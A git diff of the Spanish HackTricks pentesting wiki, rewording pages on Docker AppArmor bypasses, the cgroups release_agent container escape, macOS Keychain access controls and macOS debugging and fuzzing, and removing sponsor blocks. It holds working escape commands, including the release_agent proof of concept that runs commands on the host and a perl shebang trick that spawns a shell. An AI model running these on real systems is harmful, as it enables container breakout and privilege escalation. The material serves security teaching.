archivo de **/proc** **no está permitido** +* Otros **subdirectorios**/**archivos** de /**proc** y /**sys** tienen acceso de lectura/escritura/bloqueo/enlace/ejecución **denegado** +* **Montar** **no está permitido** +* **Ptrace** solo se puede ejecutar en un proceso que está confinado por el **mismo perfil de apparmor** Una vez que **ejecutes un contenedor docker**, deberías ver la siguiente salida: ```bash 1 processes are in enforce mode. docker-default (825) ``` -Ten en cuenta que **apparmor incluso bloqueará los privilegios de capacidades** concedidos al contenedor de forma predeterminada. Por ejemplo, será capaz de **bloquear el permiso de escritura dentro de /proc incluso si se concede la capacidad SYS\_ADMIN** porque por defecto el perfil de apparmor de docker niega este acceso: +Note que **apparmor incluso bloqueará los privilegios de capacidades** otorgados al contenedor por defecto. Por ejemplo, podrá **bloquear el permiso para escribir dentro de /proc incluso si se concede la capacidad SYS\_ADMIN** porque, por defecto, el perfil de apparmor de docker niega este acceso: ```bash docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined ubuntu /bin/bash echo "" > /proc/stat sh: 1: cannot create /proc/stat: Permission denied ``` -Debes **desactivar apparmor** para evadir sus restricciones: +Necesitas **deshabilitar apparmor** para eludir sus restricciones: ```bash docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu /bin/bash ``` -Ten en cuenta que por defecto **AppArmor** también **prohibirá al contenedor montar** carpetas desde el interior incluso con la capacidad SYS\_ADMIN. +Note que por defecto **AppArmor** también **prohibirá que el contenedor monte** carpetas desde adentro incluso con la capacidad SYS\_ADMIN. -Ten en cuenta que puedes **añadir/eliminar** **capacidades** al contenedor de docker (esto seguirá estando restringido por métodos de protección como **AppArmor** y **Seccomp**): +Note que puede **agregar/eliminar** **capacidades** al contenedor de docker (esto seguirá estando restringido por métodos de protección como **AppArmor** y **Seccomp**): -* `--cap-add=SYS_ADMIN` otorga la capacidad `SYS_ADMIN` -* `--cap-add=ALL` otorga todas las capacidades -* `--cap-drop=ALL --cap-add=SYS_PTRACE` elimina todas las capacidades y solo otorga `SYS_PTRACE` +* `--cap-add=SYS_ADMIN` da la capacidad `SYS_ADMIN` +* `--cap-add=ALL` da todas las capacidades +* `--cap-drop=ALL --cap-add=SYS_PTRACE` elimina todas las capacidades y solo da `SYS_PTRACE` {% hint style="info" %} -Normalmente, cuando **descubres** que tienes una **capacidad privilegiada** disponible **dentro** de un **contenedor docker** pero alguna parte del **exploit no funciona**, esto se debe a que **AppArmor de docker lo está previniendo**. +Usualmente, cuando **encuentra** que tiene una **capacidad privilegiada** disponible **dentro** de un **contenedor** **docker** **pero** alguna parte de la **explotación no está funcionando**, esto será porque **apparmor de docker estará impidiendo**. {% endhint %} ### Ejemplo (Ejemplo de [**aquí**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/)) -Para ilustrar la funcionalidad de AppArmor, creé un nuevo perfil de Docker "mydocker" con la siguiente línea añadida: +Para ilustrar la funcionalidad de AppArmor, creé un nuevo perfil de Docker “mydocker” con la siguiente línea añadida: ``` deny /etc/* w, # deny write for all files directly in /etc (not in a subdir) ``` @@ -241,17 +227,17 @@ Para activar el perfil, necesitamos hacer lo siguiente: ``` sudo apparmor_parser -r -W mydocker ``` -Para listar los perfiles, podemos usar el siguiente comando. El comando a continuación está listando mi nuevo perfil de AppArmor. +Para listar los perfiles, podemos ejecutar el siguiente comando. El comando a continuación está listando mi nuevo perfil de AppArmor. ``` $ sudo apparmor_status | grep mydocker mydocker ``` -Como se muestra a continuación, obtenemos un error al intentar cambiar "/etc/" ya que el perfil de AppArmor está evitando el acceso de escritura a "/etc". +Como se muestra a continuación, obtenemos un error al intentar cambiar “/etc/” ya que el perfil de AppArmor está impidiendo el acceso de escritura a “/etc”. ``` $ docker run --rm -it --security-opt apparmor:mydocker -v ~/haproxy:/localhost busybox chmod 400 /etc/hostname chmod: /etc/hostname: Permission denied ``` -### Bypass de AppArmor en Docker1 +### AppArmor Docker Bypass1 Puedes encontrar qué **perfil de apparmor está ejecutando un contenedor** usando: ```bash @@ -259,17 +245,19 @@ docker inspect 9d622d73a614 | grep lowpriv "AppArmorProfile": "lowpriv", "apparmor=lowpriv" ``` -Entonces, puedes ejecutar la siguiente línea para **encontrar el perfil exacto que se está utilizando**: +Luego, puedes ejecutar la siguiente línea para **encontrar el perfil exacto que se está utilizando**: ```bash find /etc/apparmor.d/ -name "*lowpriv*" -maxdepth 1 2>/dev/null ``` +En el extraño caso de que puedas **modificar el perfil de docker de apparmor y recargarlo.** Podrías eliminar las restricciones y "eludirlas". + ### Bypass de AppArmor Docker2 -**AppArmor se basa en rutas**, esto significa que incluso si podría estar **protegiendo** archivos dentro de un directorio como **`/proc`**, si puedes **configurar cómo se ejecutará el contenedor**, podrías **montar** el directorio proc del host dentro de **`/host/proc`** y este **ya no estará protegido por AppArmor**. +**AppArmor se basa en rutas**, esto significa que incluso si podría estar **protegiendo** archivos dentro de un directorio como **`/proc`**, si puedes **configurar cómo se va a ejecutar el contenedor**, podrías **montar** el directorio proc del host dentro de **`/host/proc`** y **ya no estará protegido por AppArmor**. ### Bypass de Shebang de AppArmor -En [**este error**](https://bugs.launchpad.net/apparmor/+bug/1911431) puedes ver un ejemplo de cómo **aunque estés evitando que perl se ejecute con ciertos recursos**, si simplemente creas un script de shell **especificando** en la primera línea **`#!/usr/bin/perl`** y **ejecutas el archivo directamente**, podrás ejecutar lo que desees. Por ejemplo: +En [**este error**](https://bugs.launchpad.net/apparmor/+bug/1911431) puedes ver un ejemplo de cómo **incluso si estás impidiendo que perl se ejecute con ciertos recursos**, si simplemente creas un script de shell **especificando** en la primera línea **`#!/usr/bin/perl`** y **ejecutas el archivo directamente**, podrás ejecutar lo que quieras. Por ejemplo: ```perl echo '#!/usr/bin/perl use POSIX qw(strftime); @@ -279,18 +267,6 @@ exec "/bin/sh"' > /tmp/test.pl chmod +x /tmp/test.pl /tmp/test.pl ``` -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda impulsado por la **dark web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares robadores**. - -Su objetivo principal es combatir los secuestros de cuentas y los ataques de ransomware resultantes de malwares que roban información. - -Puedes visitar su sitio web y probar su motor de búsqueda de forma **gratuita** en: - -{% embed url="https://whiteintel.io" %} - {% hint style="success" %} Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) @@ -301,7 +277,7 @@ Aprende y practica Hacking en GCP: {% endhint %} diff --git a/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md b/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md index e9460f55a..d6b84d8a3 100644 --- a/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md +++ b/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md @@ -1,37 +1,24 @@ -# Escapar de cgroups de Docker release_agent +# Docker release\_agent cgroups escape {% hint style="success" %} -Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoya a HackTricks +Support HackTricks -* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)! -* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} -### [WhiteIntel](https://whiteintel.io) -
+**Para más detalles, consulta el** [**post original del blog**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**.** Este es solo un resumen: -[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares robadores**. - -El objetivo principal de WhiteIntel es combatir tomas de cuentas y ataques de ransomware resultantes de malwares que roban información. - -Puedes visitar su sitio web y probar su motor de forma **gratuita** en: - -{% embed url="https://whiteintel.io" %} - -*** - -**Para más detalles, consulta el** [**post original del blog**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**.** Esto es solo un resumen: - -PoC Original: +Original PoC: ```shell d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)` mkdir -p $d/w;echo 1 >$d/w/notify_on_release @@ -39,11 +26,11 @@ t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh $1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o ``` -El concepto de prueba (PoC) demuestra un método para explotar cgroups creando un archivo `release_agent` y activando su invocación para ejecutar comandos arbitrarios en el host del contenedor. Aquí tienes un desglose de los pasos involucrados: +La prueba de concepto (PoC) demuestra un método para explotar cgroups creando un archivo `release_agent` y provocando su invocación para ejecutar comandos arbitrarios en el host del contenedor. Aquí hay un desglose de los pasos involucrados: 1. **Preparar el Entorno:** - * Se crea un directorio `/tmp/cgrp` para servir como punto de montaje para el cgroup. - * El controlador de cgroup RDMA se monta en este directorio. En caso de ausencia del controlador RDMA, se sugiere usar el controlador de cgroup `memory` como alternativa. +* Se crea un directorio `/tmp/cgrp` para servir como punto de montaje para el cgroup. +* El controlador de cgroup RDMA se monta en este directorio. En caso de ausencia del controlador RDMA, se sugiere usar el controlador de cgroup `memory` como alternativa. ```shell mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x ``` @@ -55,7 +42,7 @@ echo 1 > /tmp/cgrp/x/notify_on_release ``` 3. **Configurar el Agente de Liberación:** * La ruta del contenedor en el host se obtiene del archivo /etc/mtab. -* Luego se configura el archivo release\_agent del cgroup para ejecutar un script llamado /cmd ubicado en la ruta del host adquirida. +* El archivo release\_agent del cgroup se configura para ejecutar un script llamado /cmd ubicado en la ruta del host adquirida. ```shell host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` echo "$host_path/cmd" > /tmp/cgrp/release_agent @@ -67,24 +54,12 @@ echo '#!/bin/sh' > /cmd echo "ps aux > $host_path/output" >> /cmd chmod a+x /cmd ``` -5. **Desencadenar el Ataque:** +5. **Disparar el Ataque:** * Se inicia un proceso dentro del cgroup hijo "x" y se termina inmediatamente. -* Esto desencadena el `release_agent` (el script /cmd), que ejecuta ps aux en el host y escribe la salida en /output dentro del contenedor. +* Esto activa el `release_agent` (el script /cmd), que ejecuta ps aux en el host y escribe la salida en /output dentro del contenedor. ```shell sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" ``` -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda impulsado por la **dark web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares ladrones**. - -Su objetivo principal es combatir los secuestros de cuentas y los ataques de ransomware resultantes de malwares que roban información. - -Puedes visitar su sitio web y probar su motor de búsqueda de forma **gratuita** en: - -{% embed url="https://whiteintel.io" %} - {% hint style="success" %} Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) @@ -95,7 +70,7 @@ Aprende y practica Hacking en GCP: {% endhint %} diff --git a/macos-hardening/macos-red-teaming/macos-keychain.md b/macos-hardening/macos-red-teaming/macos-keychain.md index 706271a9f..9f577d245 100644 --- a/macos-hardening/macos-red-teaming/macos-keychain.md +++ b/macos-hardening/macos-red-teaming/macos-keychain.md @@ -15,28 +15,15 @@ Learn & practice GCP Hacking: {% endhint %} -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malware de robo**. - -Su objetivo principal de WhiteIntel es combatir la toma de control de cuentas y ataques de ransomware resultantes de malware que roba información. - -Puedes visitar su sitio web y probar su motor de forma **gratuita** en: - -{% embed url="https://whiteintel.io" %} - -*** ## Main Keychains -* El **User Keychain** (`~/Library/Keychains/login.keycahin-db`), que se utiliza para almacenar **credenciales específicas del usuario** como contraseñas de aplicaciones, contraseñas de internet, certificados generados por el usuario, contraseñas de red y claves públicas/privadas generadas por el usuario. -* El **System Keychain** (`/Library/Keychains/System.keychain`), que almacena **credenciales a nivel de sistema** como contraseñas de WiFi, certificados raíz del sistema, claves privadas del sistema y contraseñas de aplicaciones del sistema. +* The **User Keychain** (`~/Library/Keychains/login.keycahin-db`), que se utiliza para almacenar **credenciales específicas del usuario** como contraseñas de aplicaciones, contraseñas de internet, certificados generados por el usuario, contraseñas de red y claves públicas/privadas generadas por el usuario. +* The **System Keychain** (`/Library/Keychains/System.keychain`), que almacena **credenciales a nivel de sistema** como contraseñas de WiFi, certificados raíz del sistema, claves privadas del sistema y contraseñas de aplicaciones del sistema. ### Password Keychain Access -Estos archivos, aunque no tienen protección inherente y pueden ser **descargados**, están cifrados y requieren la **contraseña en texto plano del usuario para ser descifrados**. Se podría utilizar una herramienta como [**Chainbreaker**](https://github.com/n0fate/chainbreaker) para el descifrado. +Estos archivos, aunque no tienen protección inherente y pueden ser **descargados**, están encriptados y requieren la **contraseña en texto plano del usuario para ser desencriptados**. Se podría usar una herramienta como [**Chainbreaker**](https://github.com/n0fate/chainbreaker) para la desencriptación. ## Keychain Entries Protections @@ -45,7 +32,7 @@ Estos archivos, aunque no tienen protección inherente y pueden ser **descargado Cada entrada en el llavero está gobernada por **Listas de Control de Acceso (ACLs)** que dictan quién puede realizar varias acciones en la entrada del llavero, incluyendo: * **ACLAuhtorizationExportClear**: Permite al titular obtener el texto claro del secreto. -* **ACLAuhtorizationExportWrapped**: Permite al titular obtener el texto claro cifrado con otra contraseña proporcionada. +* **ACLAuhtorizationExportWrapped**: Permite al titular obtener el texto claro encriptado con otra contraseña proporcionada. * **ACLAuhtorizationAny**: Permite al titular realizar cualquier acción. Las ACLs están acompañadas por una **lista de aplicaciones de confianza** que pueden realizar estas acciones sin solicitar confirmación. Esto podría ser: @@ -54,26 +41,26 @@ Las ACLs están acompañadas por una **lista de aplicaciones de confianza** que * Una lista **vacía** (**nadie** es de confianza) * **Lista** de **aplicaciones** específicas. -Además, la entrada puede contener la clave **`ACLAuthorizationPartitionID`,** que se utiliza para identificar el **teamid, apple,** y **cdhash.** +Además, la entrada podría contener la clave **`ACLAuthorizationPartitionID`,** que se utiliza para identificar el **teamid, apple,** y **cdhash.** * Si se especifica el **teamid**, entonces para **acceder al valor de la entrada** **sin** un **mensaje de confirmación**, la aplicación utilizada debe tener el **mismo teamid**. -* Si se especifica el **apple**, entonces la aplicación debe estar **firmada** por **Apple**. +* Si se especifica el **apple**, entonces la aplicación necesita estar **firmada** por **Apple**. * Si se indica el **cdhash**, entonces la **aplicación** debe tener el **cdhash** específico. ### Creating a Keychain Entry -Cuando se crea una **nueva** **entrada** utilizando **`Keychain Access.app`**, se aplican las siguientes reglas: +Cuando se crea una **nueva** **entrada** usando **`Keychain Access.app`**, se aplican las siguientes reglas: -* Todas las aplicaciones pueden cifrar. -* **Ninguna aplicación** puede exportar/descifrar (sin solicitar al usuario). +* Todas las aplicaciones pueden encriptar. +* **Ninguna aplicación** puede exportar/desencriptar (sin solicitar al usuario). * Todas las aplicaciones pueden ver la verificación de integridad. * Ninguna aplicación puede cambiar las ACLs. * El **partitionID** se establece en **`apple`**. Cuando una **aplicación crea una entrada en el llavero**, las reglas son ligeramente diferentes: -* Todas las aplicaciones pueden cifrar. -* Solo la **aplicación que crea** (o cualquier otra aplicación añadida explícitamente) puede exportar/descifrar (sin solicitar al usuario). +* Todas las aplicaciones pueden encriptar. +* Solo la **aplicación que crea** (o cualquier otra aplicación explícitamente añadida) puede exportar/desencriptar (sin solicitar al usuario). * Todas las aplicaciones pueden ver la verificación de integridad. * Ninguna aplicación puede cambiar las ACLs. * El **partitionID** se establece en **`teamid:[teamID aquí]`**. @@ -145,7 +132,7 @@ Si **apple** está indicado en el **partitionID**, podrías acceder a él con ** ### Dos atributos adicionales -* **Invisible**: Es una bandera boolean que **oculta** la entrada de la aplicación **UI** de Keychain +* **Invisible**: Es una bandera boolean para **ocultar** la entrada de la aplicación **UI** de Keychain * **General**: Es para almacenar **metadatos** (así que NO está CIFRADO) * Microsoft estaba almacenando en texto plano todos los tokens de actualización para acceder a puntos finales sensibles. @@ -153,17 +140,6 @@ Si **apple** está indicado en el **partitionID**, podrías acceder a él con ** * [**#OBTS v5.0: "Lock Picking the macOS Keychain" - Cody Thomas**](https://www.youtube.com/watch?v=jKE1ZW33JpY) -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares robadores**. - -Su objetivo principal de WhiteIntel es combatir los robos de cuentas y ataques de ransomware resultantes de malware que roba información. - -Puedes visitar su sitio web y probar su motor de forma **gratuita** en: - -{% embed url="https://whiteintel.io" %} {% hint style="success" %} Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md b/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md index e31a8e1eb..32e730abd 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md @@ -15,19 +15,6 @@ Aprende y practica Hacking en GCP: {% endhint %} -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares robadores**. - -Su objetivo principal de WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información. - -Puedes visitar su sitio web y probar su motor de forma **gratuita** en: - -{% embed url="https://whiteintel.io" %} - -*** ## Análisis Estático @@ -127,7 +114,7 @@ It will be mounted in `/Volumes` ### Binaries empaquetados -* Verificar la alta entropía +* Verificar alta entropía * Verificar las cadenas (si casi no hay cadenas comprensibles, empaquetado) * El empaquetador UPX para MacOS genera una sección llamada "\_\_XHDR" @@ -144,7 +131,7 @@ Tenga en cuenta que los programas escritos en Objective-C **retienen** sus decla * Las variables de instancia de la interfaz * Los protocolos definidos -Tenga en cuenta que estos nombres podrían estar ofuscados para dificultar la inversión del binario. +Tenga en cuenta que estos nombres podrían estar ofuscados para dificultar la reversión del binario. ### Llamada a funciones @@ -170,11 +157,11 @@ x64: | ----------------- | -------------------------------------------------------------- | ------------------------------------------------------ | | **1er argumento** | **rdi** | **self: objeto sobre el cual se invoca el método** | | **2do argumento** | **rsi** | **op: nombre del método** | -| **3er argumento** | **rdx** | **1er argumento para el método** | -| **4to argumento** | **rcx** | **2do argumento para el método** | -| **5to argumento** | **r8** | **3er argumento para el método** | -| **6to argumento** | **r9** | **4to argumento para el método** | -| **7mo+ argumento** |

rsp+
(en la pila)

| **5to+ argumento para el método** | +| **3er argumento** | **rdx** | **1er argumento al método** | +| **4to argumento** | **rcx** | **2do argumento al método** | +| **5to argumento** | **r8** | **3er argumento al método** | +| **6to argumento** | **r9** | **4to argumento al método** | +| **7mo+ argumento** |

rsp+
(en la pila)

| **5to+ argumento al método** | ### Volcar metadatos de ObjectiveC @@ -410,11 +397,11 @@ Or `tailspin`. ### kperf -Esto se utiliza para hacer un perfilado a nivel de kernel y está construido utilizando llamadas de `Kdebug`. +Esto se utiliza para hacer un perfil a nivel de kernel y está construido utilizando llamadas `Kdebug`. -Básicamente, se verifica la variable global `kernel_debug_active` y si está configurada, llama a `kperf_kdebug_handler` con el código de `Kdebug` y la dirección del marco del kernel que llama. Si el código de `Kdebug` coincide con uno seleccionado, obtiene las "acciones" configuradas como un bitmap (consulta `osfmk/kperf/action.h` para las opciones). +Básicamente, se verifica la variable global `kernel_debug_active` y si está configurada, llama a `kperf_kdebug_handler` con el código `Kdebug` y la dirección del marco del kernel que llama. Si el código `Kdebug` coincide con uno seleccionado, obtiene las "acciones" configuradas como un bitmap (consulta `osfmk/kperf/action.h` para las opciones). -Kperf también tiene una tabla MIB de sysctl: (como root) `sysctl kperf`. Este código se puede encontrar en `osfmk/kperf/kperfbsd.c`. +Kperf también tiene una tabla MIB de sysctl: (como root) `sysctl kperf`. Estos códigos se pueden encontrar en `osfmk/kperf/kperfbsd.c`. Además, un subconjunto de la funcionalidad de Kperf reside en `kpc`, que proporciona información sobre los contadores de rendimiento de la máquina. @@ -476,7 +463,7 @@ settings set target.x86-disassembly-flavor intel Dentro de lldb, volcar un proceso con `process save-core` {% endhint %} -
(lldb) ComandoDescripción
run (r)Iniciar la ejecución, que continuará sin interrupciones hasta que se alcance un punto de interrupción o el proceso termine.
process launch --stop-at-entryIniciar la ejecución deteniéndose en el punto de entrada
continue (c)Continuar la ejecución del proceso depurado.
nexti (n / ni)Ejecutar la siguiente instrucción. Este comando omitirá las llamadas a funciones.
stepi (s / si)Ejecutar la siguiente instrucción. A diferencia del comando nexti, este comando entrará en las llamadas a funciones.
finish (f)Ejecutar el resto de las instrucciones en la función actual (“frame”) y detenerse.
control + cPausar la ejecución. Si el proceso ha sido ejecutado (r) o continuado (c), esto hará que el proceso se detenga ...donde sea que esté ejecutándose actualmente.
breakpoint (b)

b main #Cualquier función llamada main

b <binname>`main #Función principal del bin

b set -n main --shlib <lib_name> #Función principal del bin indicado

breakpoint set -r '\[NSFileManager .*\]$' #Cualquier método de NSFileManager

breakpoint set -r '\[NSFileManager contentsOfDirectoryAtPath:.*\]$'

break set -r . -s libobjc.A.dylib # Romper en todas las funciones de esa biblioteca

b -a 0x0000000100004bd9

br l #Lista de puntos de interrupción

br e/dis <num> #Habilitar/Deshabilitar punto de interrupción

breakpoint delete <num>

help

help breakpoint #Obtener ayuda del comando breakpoint

help memory write #Obtener ayuda para escribir en la memoria

reg

reg read

reg read $rax

reg read $rax --format <formato>

reg write $rip 0x100035cc0

x/s <reg/dirección de memoria>Mostrar la memoria como una cadena terminada en nulo.
x/i <reg/dirección de memoria>Mostrar la memoria como instrucción de ensamblador.
x/b <reg/dirección de memoria>Mostrar la memoria como byte.
print object (po)

Esto imprimirá el objeto referenciado por el parámetro

po $raw

{

dnsChanger = {

"affiliate" = "";

"blacklist_dns" = ();

Nota que la mayoría de las APIs o métodos de Objective-C de Apple devuelven objetos, y por lo tanto deben ser mostrados a través del comando “print object” (po). Si po no produce una salida significativa, usa x/b

memorymemory read 0x000....
memory read $x0+0xf2a
memory write 0x100600000 -s 4 0x41414141 #Escribir AAAA en esa dirección
memory write -f s $rip+0x11f+7 "AAAA" #Escribir AAAA en la dirección
disassembly

dis #Desensamblar función actual

dis -n <funcname> #Desensamblar función

dis -n <funcname> -b <basename> #Desensamblar función
dis -c 6 #Desensamblar 6 líneas
dis -c 0x100003764 -e 0x100003768 # Desde una dirección hasta la otra
dis -p -c 4 # Comenzar en la dirección actual desensamblando

parrayparray 3 (char **)$x1 # Verificar array de 3 componentes en el registro x1
image dump sectionsImprimir mapa de la memoria del proceso actual
image dump symtab <library>image dump symtab CoreNLP #Obtener la dirección de todos los símbolos de CoreNLP
+
(lldb) ComandoDescripción
run (r)Iniciar la ejecución, que continuará sin interrupciones hasta que se alcance un punto de interrupción o el proceso termine.
process launch --stop-at-entryIniciar la ejecución deteniéndose en el punto de entrada
continue (c)Continuar la ejecución del proceso depurado.
nexti (n / ni)Ejecutar la siguiente instrucción. Este comando omitirá las llamadas a funciones.
stepi (s / si)Ejecutar la siguiente instrucción. A diferencia del comando nexti, este comando entrará en las llamadas a funciones.
finish (f)Ejecutar el resto de las instrucciones en la función actual (“frame”) y detenerse.
control + cPausar la ejecución. Si el proceso ha sido ejecutado (r) o continuado (c), esto hará que el proceso se detenga ...donde sea que esté ejecutándose actualmente.
breakpoint (b)

b main #Cualquier función llamada main

b <binname>`main #Función principal del bin

b set -n main --shlib <lib_name> #Función principal del bin indicado

breakpoint set -r '\[NSFileManager .*\]$' #Cualquier método de NSFileManager

breakpoint set -r '\[NSFileManager contentsOfDirectoryAtPath:.*\]$'

break set -r . -s libobjc.A.dylib # Interrumpir en todas las funciones de esa biblioteca

b -a 0x0000000100004bd9

br l #Lista de puntos de interrupción

br e/dis <num> #Habilitar/Deshabilitar punto de interrupción

breakpoint delete <num>

help

help breakpoint #Obtener ayuda sobre el comando de punto de interrupción

help memory write #Obtener ayuda para escribir en la memoria

reg

reg read

reg read $rax

reg read $rax --format <formato>

reg write $rip 0x100035cc0

x/s <reg/dirección de memoria>Mostrar la memoria como una cadena terminada en nulo.
x/i <reg/dirección de memoria>Mostrar la memoria como instrucción de ensamblador.
x/b <reg/dirección de memoria>Mostrar la memoria como byte.
print object (po)

Esto imprimirá el objeto referenciado por el parámetro

po $raw

{

dnsChanger = {

"affiliate" = "";

"blacklist_dns" = ();

Nota que la mayoría de las APIs o métodos de Objective-C de Apple devuelven objetos, y por lo tanto deben ser mostrados a través del comando “print object” (po). Si po no produce una salida significativa, usa x/b

memorymemory read 0x000....
memory read $x0+0xf2a
memory write 0x100600000 -s 4 0x41414141 #Escribir AAAA en esa dirección
memory write -f s $rip+0x11f+7 "AAAA" #Escribir AAAA en la dirección
disassembly

dis #Desensamblar la función actual

dis -n <funcname> #Desensamblar función

dis -n <funcname> -b <basename> #Desensamblar función
dis -c 6 #Desensamblar 6 líneas
dis -c 0x100003764 -e 0x100003768 # Desde una dirección hasta la otra
dis -p -c 4 # Comenzar en la dirección actual desensamblando

parrayparray 3 (char **)$x1 # Verificar array de 3 componentes en el registro x1
image dump sectionsImprimir el mapa de la memoria del proceso actual
image dump symtab <library>image dump symtab CoreNLP #Obtener la dirección de todos los símbolos de CoreNLP
{% hint style="info" %} Al llamar a la función **`objc_sendMsg`**, el registro **rsi** contiene el **nombre del método** como una cadena terminada en nulo (“C”). Para imprimir el nombre a través de lldb haz: @@ -489,12 +476,12 @@ Al llamar a la función **`objc_sendMsg`**, el registro **rsi** contiene el **no `(lldb) reg read $rsi: rsi = 0x00000001000f1576 "startMiningWithPort:password:coreCount:slowMemory:currency:"` {% endhint %} -### Análisis Dinámico Anti +### Análisis Anti-Dinámico #### Detección de VM * El comando **`sysctl hw.model`** devuelve "Mac" cuando el **host es un MacOS** pero algo diferente cuando es una VM. -* Jugando con los valores de **`hw.logicalcpu`** y **`hw.physicalcpu`** algunos malwares intentan detectar si es una VM. +* Jugando con los valores de **`hw.logicalcpu`** y **`hw.physicalcpu`**, algunos malwares intentan detectar si es una VM. * Algunos malwares también pueden **detectar** si la máquina está basada en **VMware** según la dirección MAC (00:50:56). * También es posible encontrar **si un proceso está siendo depurado** con un código simple como: * `if(P_TRACED == (info.kp_proc.p_flag & P_TRACED)){ //proceso siendo depurado }` @@ -587,7 +574,7 @@ Funciona para herramientas de línea de comandos #### [Litefuzz](https://github.com/sec-tools/litefuzz) -Simplemente "**funciona"** con herramientas GUI de macOS. Ten en cuenta que algunas aplicaciones de macOS tienen requisitos específicos como nombres de archivos únicos, la extensión correcta, necesitan leer los archivos desde el sandbox (`~/Library/Containers/com.apple.Safari/Data`)... +Simplemente "**funciona"** con herramientas GUI de macOS. Tenga en cuenta que algunas aplicaciones de macOS tienen requisitos específicos, como nombres de archivos únicos, la extensión correcta, necesitan leer los archivos desde el sandbox (`~/Library/Containers/com.apple.Safari/Data`)... Algunos ejemplos: @@ -631,18 +618,6 @@ litefuzz -s -a tcp://localhost:5900 -i input/screenshared-session --reportcrash * [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html) * [**The Art of Mac Malware: The Guide to Analyzing Malicious Software**](https://taomm.org/) -### [WhiteIntel](https://whiteintel.io) - -
